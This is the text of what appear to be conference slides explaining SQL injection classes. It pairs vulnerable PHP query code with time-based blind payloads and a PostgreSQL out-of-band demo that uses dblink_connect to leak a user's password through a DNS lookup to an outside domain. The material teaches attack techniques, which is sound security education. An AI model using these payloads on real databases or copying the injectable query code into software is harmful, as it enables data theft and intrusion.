whoami
Security Researcher @ Netsparker Ltd.
Developer @ Another Times
Writer @ Ethical Hacking “Offensive & Defensive” Book
Blog: omercitak.com
All Social Platform: @Om3rCitak
sql injection
● Inband
○ Error Based
● Indirect Inference
○ Boolean Based
○ Blind (Time Based)
● Out-of-band
○ Blind (HTTP, DNS)
sql injection
● Inband
○ Error Based
....
ini_set('display_errors', 'On');
error_reporting(E_ALL);
$sql = "SELECT * FROM users WHERE username like '%".$_GET["username"]."%'";
$results = mysql_query($sql);
...
sql injection
● Inband
○ Error Based
sql injection
● Indirect Inference
○ Boolean Based
....
ini_set('display_errors', 'Off');
error_reporting(~E_ALL);
$sql = "SELECT * FROM users WHERE username like '%".$_GET["username"]."%'";
$results = mysql_query($sql);
$row_count = mysql_num_rows($results);
if($row_count > 0)
echo 'user exist';
else
echo 'user not exist';
...
sql injection
● Indirect Inference
○ Boolean Based
sql injection
● Indirect Inference
○ Blind (Time Based)
....
ini_set('display_errors', 'Off');
error_reporting(~E_ALL);
$sql = "SELECT * FROM users WHERE username like '%".$_GET["username"]."%'";
$results = mysql_query($sql);
...
sql injection
● Indirect Inference
○ Blind (Time Based)
sql injection
● Indirect Inference
○ Blind (Time Based)
payload> ay' and if(substring(user(),1,1) = 'r', sleep(3), false) --
sql injection
● Indirect Inference
○ Blind (Time Based)
payload> ay' and if(substring(user(),1,1) = 'a', sleep(3), false) --
sql injection
● Out-of-band
○ Blind (HTTP, DNS)
....
ini_set('display_errors', 'Off');
error_reporting(~E_ALL);
$sql = "SELECT * FROM users WHERE (username like '%".$_GET["param"]."%')";
$results = pg_query($sql);
...
demo
● dependencies;
○ 1 DNS server => 207.154.221.107
■ Ubuntu 16
■ Spiderlab Responder
○ 1 app & database server => 46.101.229.160
■ Ubuntu 16
■ Php7
■ Postgresql 9.5
and 1 unit attacker
demo
SELECT *
FROM users
WHERE (username like '%".$_GET["param"]."%')
demo
SELECT *
FROM users
WHERE (username like '% '||'test'||'%')
demo
SELECT *
FROM users
WHERE (username like '% '||
cast(test as numeric)
||'%')
demo
SELECT *
FROM users
WHERE (username like '% '||
cast(SELECT(test) as numeric)
||'%')
demo
SELECT *
FROM users
WHERE (username like '% '||
cast(SELECT(dblink_connect()) as numeric)
||'%')
demo
SELECT *
FROM users
WHERE (username like '% '||
cast(SELECT(dblink_connect('host=test.omercitak.net user=a password=a
connect_timeout=2')) as numeric)
||'%')
demo
SELECT *
FROM users
WHERE (username like '% '||
cast(SELECT(dblink_connect('host='||(select password from users where
id=7)||'.omercitak.net user=a password=a connect_timeout=2')) as numeric)
||'%')
demo
where is the guvenlik?
thanks
www.omercitak.com
All Social Platform: @Om3rCitak

Out-of-band SQL Injection Attacks (#istsec)